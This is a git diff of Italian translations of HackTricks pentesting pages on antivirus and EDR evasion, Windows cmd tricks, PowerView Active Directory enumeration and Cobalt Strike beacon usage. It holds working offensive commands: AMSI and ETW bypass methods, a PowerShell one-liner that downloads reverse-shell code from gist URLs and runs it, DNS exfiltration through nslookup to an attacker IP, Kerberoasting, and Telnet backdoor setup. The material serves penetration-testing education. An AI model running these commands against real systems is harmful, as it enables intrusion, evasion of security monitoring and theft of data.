Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con PowerShell, dai un'occhiata a [**questa pagina**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**questo repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) per saperne di più su di esse.
|
||||
|
||||
O questo script che tramite memory patching patcherà ogni nuovo Powersh
|
||||
Questo strumento [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) genera anche script per bypassare AMSI.
|
||||
|
||||
**Rimuovi la firma rilevata**
|
||||
|
||||
Puoi utilizzare uno strumento come **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** per rimuovere la firma AMSI rilevata dalla memoria del processo corrente. Questo strumento funziona scansionando la memoria del processo corrente per la firma AMSI e poi sovrascrivendola con istruzioni NOP, rimuovendola effettivamente dalla memoria.
|
||||
|
||||
**Prodotti AV/EDR che utilizzano AMSI**
|
||||
|
||||
Puoi trovare un elenco di prodotti AV/EDR che utilizzano AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Usa PowerShell versione 2**
|
||||
Se utilizzi PowerShell versione 2, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi fare così:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
Il logging di PowerShell è una funzionalità che consente di registrare tutti i comandi PowerShell eseguiti su un sistema. Questo può essere utile per scopi di auditing e risoluzione dei problemi, ma può anche essere un **problema per gli attaccanti che vogliono evitare il rilevamento**.
|
||||
|
||||
Per bypassare il logging di PowerShell, puoi utilizzare le seguenti tecniche:
|
||||
|
||||
- **Disabilitare la trascrizione di PowerShell e il logging dei moduli**: Puoi utilizzare uno strumento come [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) per questo scopo.
|
||||
- **Utilizzare la versione 2 di PowerShell**: Se utilizzi la versione 2 di PowerShell, AMSI non verrà caricato, quindi puoi eseguire i tuoi script senza essere scansionato da AMSI. Puoi farlo: `powershell.exe -version 2`
|
||||
- **Utilizzare una sessione PowerShell non gestita**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) per avviare un PowerShell senza difese (questo è ciò che `powerpick` di Cobalt Strike utilizza).
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!NOTE]
|
||||
> Diverse tecniche di offuscamento si basano sulla crittografia dei dati, il che aumenterà l'entropia del binario rendendo più facile per gli AV e gli EDR rilevarlo. Fai attenzione a questo e forse applica la crittografia solo a sezioni specifiche del tuo codice che sono sensibili o devono essere nascoste.
|
||||
|
||||
Ci sono diversi strumenti che possono essere utilizzati per **offuscare il codice C# in chiaro**, generare **modelli di metaprogrammazione** per compilare binari o **offuscare binari compilati** come:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): È un ottimo offuscatore open-source per applicazioni .NET. Fornisce varie tecniche di protezione come offuscamento del flusso di controllo, anti-debugging, anti-tampering e crittografia delle stringhe. È raccomandato perché consente anche di offuscare specifici blocchi di codice.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza del software attraverso [l'offuscamento del codice](<http://en.wikipedia.org/wiki/Obfuscation_(software)> ) e la protezione contro manomissioni.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza software attraverso [l'offuscamento del codice](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e la protezione contro manomissioni.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come utilizzare il linguaggio `C++11/14` per generare, al momento della compilazione, codice offuscato senza utilizzare alcuno strumento esterno e senza modificare il compilatore.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Aggiungi uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ template che renderà un po' più difficile la vita a chi vuole craccare l'applicazione.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscante binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Aggiunge uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ che renderà un po' più difficile la vita a chi vuole craccare l'applicazione.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfico per eseguibili arbitrari.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM utilizzando ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un PE Crypter .NET scritto in Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM utilizzando ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del flusso di controllo normale.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un PE Crypter .NET scritto in Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
@ -214,7 +243,7 @@ Microsoft Defender SmartScreen è un meccanismo di sicurezza destinato a protegg
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può ancora essere eseguito facendo clic su Maggiori informazioni -> Esegui comunque).
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
|
||||
|
||||
**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome di Zone.Identifier che viene creato automaticamente al momento del download di file da internet, insieme all'URL da cui è stato scaricato.
|
||||
|
||||
@ -223,14 +252,14 @@ SmartScreen funziona principalmente con un approccio basato sulla reputazione, i
|
||||
> [!NOTE]
|
||||
> È importante notare che gli eseguibili firmati con un certificato di firma **fidato** **non attiveranno SmartScreen**.
|
||||
|
||||
Un modo molto efficace per impedire che i tuoi payload ricevano il Mark of The Web è confezionarli all'interno di un contenitore come un ISO. Questo accade perché il Mark-of-the-Web (MOTW) **non può** essere applicato a volumi **non NTFS**.
|
||||
Un modo molto efficace per impedire che i tuoi payload ricevano il Mark of The Web è imballarli all'interno di qualche tipo di contenitore come un ISO. Questo accade perché il Mark-of-the-Web (MOTW) **non può** essere applicato a volumi **non NTFS**.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che confeziona i payload in contenitori di output per eludere il Mark-of-the-Web.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) è uno strumento che imballa i payload in contenitori di output per eludere il Mark-of-the-Web.
|
||||
|
||||
Esempio di utilizzo:
|
||||
```powershell
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
+ o + o + o + o
|
||||
@ -255,42 +284,60 @@ Ecco una demo per bypassare SmartScreen impacchettando payload all'interno di fi
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Riflessione sull'Assembly C#
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) è un potente meccanismo di registrazione in Windows che consente alle applicazioni e ai componenti di sistema di **registrare eventi**. Tuttavia, può anche essere utilizzato dai prodotti di sicurezza per monitorare e rilevare attività dannose.
|
||||
|
||||
Simile a come AMSI è disabilitato (bypassato), è anche possibile far sì che la funzione **`EtwEventWrite`** del processo in user space restituisca immediatamente senza registrare alcun evento. Questo viene fatto patchando la funzione in memoria per restituire immediatamente, disabilitando effettivamente la registrazione ETW per quel processo.
|
||||
|
||||
Puoi trovare ulteriori informazioni in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) e [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Caricare binari C# in memoria è noto da un po' di tempo ed è ancora un ottimo modo per eseguire i tuoi strumenti di post-exploitation senza essere catturati dall'AV.
|
||||
|
||||
Poiché il payload verrà caricato direttamente in memoria senza toccare il disco, dovremo solo preoccuparci di patchare AMSI per l'intero processo.
|
||||
Poiché il payload verrà caricato direttamente in memoria senza toccare il disco, dovremo preoccuparci solo di patchare AMSI per l'intero processo.
|
||||
|
||||
La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, ecc.) forniscono già la possibilità di eseguire assembly C# direttamente in memoria, ma ci sono diversi modi per farlo:
|
||||
La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, ecc.) fornisce già la possibilità di eseguire assembly C# direttamente in memoria, ma ci sono diversi modi per farlo:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Comporta **l'innesco di un nuovo processo sacrificabile**, iniettando il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguendo il tuo codice malevolo e, una volta terminato, uccidendo il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Ciò significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
|
||||
Comporta **l'innesco di un nuovo processo sacrificabile**, iniettando il tuo codice dannoso di post-exploitation in quel nuovo processo, eseguendo il tuo codice dannoso e, una volta terminato, uccidendo il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Si tratta di iniettare il codice malevolo di post-exploitation **nel proprio processo**. In questo modo, puoi evitare di dover creare un nuovo processo e farlo scansionare dall'AV, ma lo svantaggio è che se qualcosa va storto con l'esecuzione del tuo payload, c'è una **probabilità molto maggiore** di **perdere il tuo beacon** poiché potrebbe bloccarsi.
|
||||
Si tratta di iniettare il codice dannoso di post-exploitation **nel proprio processo**. In questo modo, puoi evitare di dover creare un nuovo processo e farlo scansionare dall'AV, ma lo svantaggio è che se qualcosa va storto con l'esecuzione del tuo payload, c'è una **probabilità molto maggiore** di **perdere il tuo beacon** poiché potrebbe bloccarsi.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Se vuoi leggere di più sul caricamento degli Assembly C#, controlla questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Se vuoi leggere di più sul caricamento di assembly C#, ti consiglio di controllare questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Puoi anche caricare Assembly C# **da PowerShell**, dai un'occhiata a [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e al video di [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Puoi anche caricare assembly C# **da PowerShell**, dai un'occhiata a [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e al video di [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Utilizzo di Altri Linguaggi di Programmazione
|
||||
|
||||
Come proposto in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), è possibile eseguire codice malevolo utilizzando altri linguaggi dando alla macchina compromessa accesso **all'ambiente dell'interprete installato sulla condivisione SMB controllata dall'attaccante**.
|
||||
Come proposto in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), è possibile eseguire codice dannoso utilizzando altri linguaggi dando alla macchina compromessa accesso **all'ambiente dell'interprete installato sulla condivisione SMB controllata dall'attaccante**.
|
||||
|
||||
Consentendo l'accesso ai binari dell'interprete e all'ambiente sulla condivisione SMB puoi **eseguire codice arbitrario in questi linguaggi all'interno della memoria** della macchina compromessa.
|
||||
|
||||
Il repo indica: Defender scansiona ancora gli script, ma utilizzando Go, Java, PHP ecc. abbiamo **maggiore flessibilità per bypassare le firme statiche**. Testare con script di reverse shell casuali non offuscati in questi linguaggi si è rivelato un successo.
|
||||
Il repo indica: Defender continua a scansionare gli script, ma utilizzando Go, Java, PHP ecc. abbiamo **maggiore flessibilità per bypassare le firme statiche**. Testare con script di reverse shell casuali non offuscati in questi linguaggi si è rivelato un successo.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Il token stomping è una tecnica che consente a un attaccante di **manipolare il token di accesso o un prodotto di sicurezza come un EDR o AV**, consentendo loro di ridurre i privilegi in modo che il processo non muoia ma non abbia i permessi per controllare attività dannose.
|
||||
|
||||
Per prevenire ciò, Windows potrebbe **impedire ai processi esterni** di ottenere handle sui token dei processi di sicurezza.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Evasione Avanzata
|
||||
|
||||
L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.
|
||||
L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevato in ambienti maturi.
|
||||
|
||||
Ogni ambiente contro cui ti scontri avrà i propri punti di forza e di debolezza.
|
||||
|
||||
@ -308,18 +355,18 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
## **Tecniche Vecchie**
|
||||
|
||||
### **Controlla quali parti Defender trova come malevole**
|
||||
### **Controlla quali parti Defender trova come dannose**
|
||||
|
||||
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevola e te lo dividerà.\
|
||||
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che offre il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come dannosa e te lo separerà.\
|
||||
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che fornisce il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Server Telnet**
|
||||
### **Telnet Server**
|
||||
|
||||
Fino a Windows 10, tutti i Windows venivano forniti con un **server Telnet** che potevi installare (come amministratore) facendo:
|
||||
Fino a Windows 10, tutte le versioni di Windows venivano fornite con un **server Telnet** che potevi installare (come amministratore) eseguendo:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
Fallo **avviare** quando il sistema è avviato e **eseguilo** ora:
|
||||
Fallo **partire** quando il sistema viene avviato e **eseguilo** ora:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
@ -360,7 +407,7 @@ cd GreatSCT/setup/
|
||||
cd ..
|
||||
./GreatSCT.py
|
||||
```
|
||||
Dentro GreatSCT:
|
||||
Dentro di GreatSCT:
|
||||
```
|
||||
use 1
|
||||
list #Listing available payloads
|
||||
@ -467,7 +514,7 @@ catch (Exception err) { }
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
Download ed esecuzione automatica:
|
||||
Download e esecuzione automatica:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### Di più
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -32,7 +32,7 @@ Alcune variabili d'ambiente da evidenziare:
|
||||
- **windir:** C:\Windows
|
||||
- **OS**: Windows OS
|
||||
- **LOGONSERVER**: Nome del controller di dominio
|
||||
- **USERDNSDOMAIN**: Nome di dominio da utilizzare con DNS
|
||||
- **USERDNSDOMAIN**: Nome del dominio da utilizzare con DNS
|
||||
- **USERDOMAIN**: Nome del dominio
|
||||
```bash
|
||||
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||||
@ -315,7 +315,7 @@ who^ami #whoami
|
||||
### DOSfuscation
|
||||
|
||||
Genera una riga CMD offuscata
|
||||
```powershell
|
||||
```bash
|
||||
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
||||
cd Invoke-DOSfuscation
|
||||
Import-Module .\Invoke-DOSfuscation.psd1
|
||||
@ -324,7 +324,7 @@ help
|
||||
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
|
||||
encoding
|
||||
```
|
||||
### Listen address ACLs
|
||||
### ACL degli indirizzi di ascolto
|
||||
|
||||
Puoi ascoltare su [http://+:80/Temporary_Listen_Addresses/](http://+/Temporary_Listen_Addresses/) senza essere amministratore.
|
||||
```bash
|
||||
@ -339,7 +339,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
||||
```
|
||||
#### Vittima
|
||||
|
||||
**`for /f tokens`** tecnica: Questo ci consente di eseguire comandi, ottenere le prime X parole di ogni riga e inviarle tramite DNS al nostro server.
|
||||
**`for /f tokens`** tecnica: Questo ci consente di eseguire comandi, ottenere le prime X parole di ogni riga e inviarle tramite DNS al nostro server
|
||||
```bash
|
||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
L'ultima versione di PowerView sarà sempre nel ramo dev di PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
La versione più aggiornata di PowerView sarà sempre nel ramo dev di PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) è un port .NET di [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
### Enumerazione rapida
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetDomain #Basic domain info
|
||||
#User info
|
||||
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
|
||||
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
|
||||
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
|
||||
```
|
||||
### Informazioni sul dominio
|
||||
```powershell
|
||||
```bash
|
||||
# Domain Info
|
||||
Get-Domain #Get info about the current domain
|
||||
Get-NetDomain #Get info about the current domain
|
||||
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
|
||||
Get-ForestDomain
|
||||
```
|
||||
### Utenti, Gruppi, Computer e OUs
|
||||
```powershell
|
||||
```bash
|
||||
# Users
|
||||
## Get usernames and their groups
|
||||
Get-DomainUser -Properties name, MemberOf | fl
|
||||
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
|
||||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||
```
|
||||
### Accesso e Sessioni
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
|
||||
@ -138,7 +138,7 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
||||
|
||||
Se un attaccante ha **elevati privilegi su un GPO** potrebbe essere in grado di **privesc** abusando di esso **aggiungendo permessi a un utente**, **aggiungendo un utente admin locale** a un host o **creando un'attività pianificata** (immediata) per eseguire un'azione.\
|
||||
Per [**maggiori informazioni su questo e su come abusarne segui questo link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
|
||||
```powershell
|
||||
```bash
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
Get-NetGPO #Get all policies with details
|
||||
@ -178,7 +178,7 @@ Impara a **sfruttare i permessi su GPO e ACL** in:
|
||||
{{#endref}}
|
||||
|
||||
### ACL
|
||||
```powershell
|
||||
```bash
|
||||
#Get ACLs of an object (permissions of other objects over the indicated one)
|
||||
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
|
||||
|
||||
@ -198,14 +198,14 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
||||
#Get special rights over All administrators in domain
|
||||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### File e cartelle condivise
|
||||
```powershell
|
||||
### File e cartelle condivisi
|
||||
```bash
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### Fiducia del Dominio
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
|
||||
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### L**ow**-**hanging fruit**
|
||||
```powershell
|
||||
```bash
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
||||
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### Oggetti eliminati
|
||||
```powershell
|
||||
```bash
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
### MISC
|
||||
|
||||
#### SID a Nome
|
||||
```powershell
|
||||
```bash
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
#### Kerberoast
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
#### Usa credenziali diverse (argomento)
|
||||
```powershell
|
||||
```bash
|
||||
# use an alterate creadential for any function
|
||||
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### Impersonare un utente
|
||||
```powershell
|
||||
```bash
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### Imposta valori
|
||||
```powershell
|
||||
```bash
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
# Set the owner of 'dfm' in the current domain to 'harmj0y'
|
||||
|
||||
@ -32,14 +32,15 @@ I beacon di questi listener non devono comunicare direttamente con il C2, posson
|
||||
|
||||
#### Host Payloads
|
||||
|
||||
Se hai già il file che vuoi ospitare in un server web vai su `Attacks -> Web Drive-by -> Host File` e seleziona il file da ospitare e la configurazione del server web.
|
||||
Se hai già il file che vuoi ospitare in un server web, vai su `Attacks -> Web Drive-by -> Host File` e seleziona il file da ospitare e la configurazione del server web.
|
||||
|
||||
### Beacon Options
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Esegui binario .NET locale
|
||||
<pre class="language-bash"><code class="lang-bash"># Esegui un binario .NET locale
|
||||
execute-assembly </path/to/executable.exe>
|
||||
# Nota che per caricare assembly più grandi di 1MB, la proprietà 'tasks_max_size' del profilo malleable deve essere modificata.
|
||||
|
||||
# Screenshot
|
||||
# Screenshots
|
||||
printscreen # Fai uno screenshot singolo tramite il metodo PrintScr
|
||||
screenshot # Fai uno screenshot singolo
|
||||
screenwatch # Fai screenshot periodici del desktop
|
||||
@ -54,12 +55,17 @@ portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inie
|
||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
|
||||
# Powershell
|
||||
# Importa il modulo Powershell
|
||||
## Importa il modulo Powershell
|
||||
